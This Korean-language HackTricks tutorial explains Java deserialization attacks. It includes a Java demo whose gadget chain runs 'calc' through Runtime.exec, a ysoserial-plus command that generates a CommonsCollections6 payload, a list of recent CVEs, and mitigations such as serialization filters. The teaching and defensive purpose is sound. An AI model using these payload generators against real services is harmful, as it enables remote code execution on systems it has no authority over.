Basic Java Deserialization with ObjectInputStream readObject
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 POST에서는 java.io.Serializable
을 사용하는 예제를 설명할 것이며, incoming stream이 공격자가 제어하는 경우 readObject()
를 재정의하는 것이 얼마나 위험할 수 있는지에 대해 설명할 것입니다.
Serializable
Java Serializable
인터페이스(java.io.Serializable
)는 클래스가 직렬화 및 역직렬화되기 위해 구현해야 하는 마커 인터페이스입니다. Java 객체 직렬화(쓰기)는 ObjectOutputStream
으로 수행되며, 역직렬화(읽기)는 ObjectInputStream
으로 수행됩니다.
Reminder: Which methods are implicitly invoked during deserialization?
readObject()
– 클래스별 읽기 로직(구현된 경우 및 private).readResolve()
– 역직렬화된 객체를 다른 객체로 대체할 수 있습니다.validateObject()
–ObjectInputValidation
콜백을 통해.readExternal()
–Externalizable
을 구현하는 클래스의 경우.- 생성자는 실행되지 않습니다 – 따라서 가젯 체인은 이전 콜백에만 의존합니다.
그 체인에서 공격자가 제어하는 데이터를 호출하는 메서드는(명령 실행, JNDI 조회, 리플렉션 등) 역직렬화 루틴을 RCE 가젯으로 전환합니다.
직렬화 가능한 Person 클래스를 예로 들어 보겠습니다. 이 클래스는 readObject 함수를 재정의하므로, 이 클래스의 어떤 객체가 역직렬화될 때 이 함수가 실행됩니다.
예제에서, Person 클래스의 readObject 함수는 그의 애완동물의 eat()
함수를 호출하고, Dog의 eat()
함수는(어떤 이유로) calc.exe를 호출합니다. 이 계산기를 실행하기 위해 Person 객체를 직렬화하고 역직렬화하는 방법을 살펴보겠습니다:
다음 예제는 https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649에서 가져온 것입니다.
import java.io.Serializable;
import java.io.*;
public class TestDeserialization {
interface Animal {
public void eat();
}
//Class must implements Serializable to be serializable
public static class Cat implements Animal,Serializable {
@Override
public void eat() {
System.out.println("cat eat fish");
}
}
//Class must implements Serializable to be serializable
public static class Dog implements Animal,Serializable {
@Override
public void eat() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("dog eat bone");
}
}
//Class must implements Serializable to be serializable
public static class Person implements Serializable {
private Animal pet;
public Person(Animal pet){
this.pet = pet;
}
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
pet = (Animal) stream.readObject();
pet.eat();
}
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(String[] args) throws Exception {
// Example to call Person with a Dog
Animal animal = new Dog();
Person person = new Person(animal);
GeneratePayload(person,"test.ser");
payloadTest("test.ser");
// Example to call Person with a Cat
//Animal animal = new Cat();
//Person person = new Person(animal);
//GeneratePayload(person,"test.ser");
//payloadTest("test.ser");
}
}
결론 (고전 시나리오)
이 매우 기본적인 예에서 볼 수 있듯이, 여기서의 “취약점”은 readObject() 메서드가 공격자가 제어하는 다른 코드를 호출하기 때문에 발생합니다. 실제 세계의 가젯 체인에서는 외부 라이브러리(Commons-Collections, Spring, Groovy, Rome, SnakeYAML 등)에 포함된 수천 개의 클래스가 악용될 수 있으며, 공격자는 코드 실행을 얻기 위해 하나의 접근 가능한 가젯만 필요합니다.
2023-2025: Java 역직렬화 공격의 새로운 내용은 무엇인가?
- 2023 – CVE-2023-34040:
checkDeserExWhen*
플래그가 활성화된 상태에서 Spring-Kafka의 오류 레코드 헤더 역직렬화로 인해 공격자가 게시한 주제로부터 임의의 가젯 구성이 가능해졌습니다. 3.0.10 / 2.9.11에서 수정됨. ¹ - 2023 – CVE-2023-36480: Aerospike Java 클라이언트의 신뢰할 수 있는 서버 가정이 깨짐 – 악의적인 서버 응답에 클라이언트에 의해 역직렬화된 직렬화된 페이로드가 포함됨 → RCE. ²
- 2023 – CVE-2023-25581:
pac4j-core
사용자 프로필 속성 파싱이{#sb64}
접두사가 붙은 Base64 블롭을 수용하고RestrictedObjectInputStream
에도 불구하고 이를 역직렬화했습니다. 4.0.0 이상으로 업그레이드하십시오. - 2023 – CVE-2023-4528: JSCAPE MFT Manager Service (포트 10880)가 XML 인코딩된 Java 객체를 수용하여 root/SYSTEM으로 RCE를 초래했습니다.
- 2024 – Hibernate5, TomcatEmbed 및 SnakeYAML 2.x 클래스를 포함한 여러 새로운 가젯 체인이 ysoserial-plus(mod)에 추가되어 일부 오래된 필터를 우회합니다.
배포해야 할 현대적 완화책
- JEP 290 / 직렬화 필터링 (Java 9+) 클래스의 허용 목록 또는 거부 목록 추가:
# 당신의 DTO와 java.base만 수용하고 나머지는 거부
-Djdk.serialFilter="com.example.dto.*;java.base/*;!*"
프로그래밍 예:
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
ObjectInputFilter.Config.setSerialFilter(filter);
- JEP 415 (Java 17+) 컨텍스트별 필터 팩토리 –
BinaryOperator<ObjectInputFilter>
를 사용하여 실행 컨텍스트(예: RMI 호출당, 메시지 큐 소비자당)마다 다른 필터를 적용합니다. - 원시
ObjectInputStream
을 네트워크에 노출하지 마십시오 – 코드 실행 의미가 없는 JSON/이진 인코딩을 선호하십시오 (Jackson에서DefaultTyping
비활성화 후, Protobuf, Avro 등). - 심층 방어 한계 – 최대 배열 길이, 깊이, 참조 설정:
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
- 지속적인 가젯 스캐닝 –
gadget-inspector
또는serialpwn-cli
와 같은 도구를 CI에서 실행하여 위험한 가젯이 접근 가능해지면 빌드를 실패하게 합니다.
업데이트된 도구 치트 시트 (2024)
ysoserial-plus.jar
– > 130개의 가젯 체인을 가진 커뮤니티 포크:
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
marshalsec
– JNDI 가젯 생성을 위한 여전히 참조되는 도구 (LDAP/RMI).gadget-probe
– 네트워크 서비스에 대한 빠른 블랙박스 가젯 발견.SerialSniffer
–ObjectInputStream
에 의해 읽힌 모든 클래스를 출력하는 JVMTI 에이전트 (필터를 작성하는 데 유용).- 탐지 팁 – 필터 결정 및 거부된 클래스를 기록하기 위해
-Djdk.serialDebug=true
(JDK 22+)를 활성화하십시오.
안전한 readObject()
구현을 위한 빠른 체크리스트
- 메서드를
private
로 만들고@Serial
주석을 추가하십시오 (정적 분석에 도움이 됩니다). - 사용자 제공 메서드를 호출하거나 메서드 내에서 I/O를 수행하지 마십시오 – 필드만 읽으십시오.
- 검증이 필요한 경우, 역직렬화 후에
readObject()
외부에서 수행하십시오. Externalizable
을 구현하고 기본 직렬화 대신 명시적 필드 읽기를 선호하십시오.- 내부 서비스에 대해서도 강화된
ObjectInputFilter
를 등록하십시오 (타협 저항 설계).
참고 문헌
- Spring Security Advisory – CVE-2023-34040 Java Deserialization in Spring-Kafka (2023년 8월)
- GitHub Security Lab – GHSL-2023-044: Unsafe Deserialization in Aerospike Java Client (2023년 7월)
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.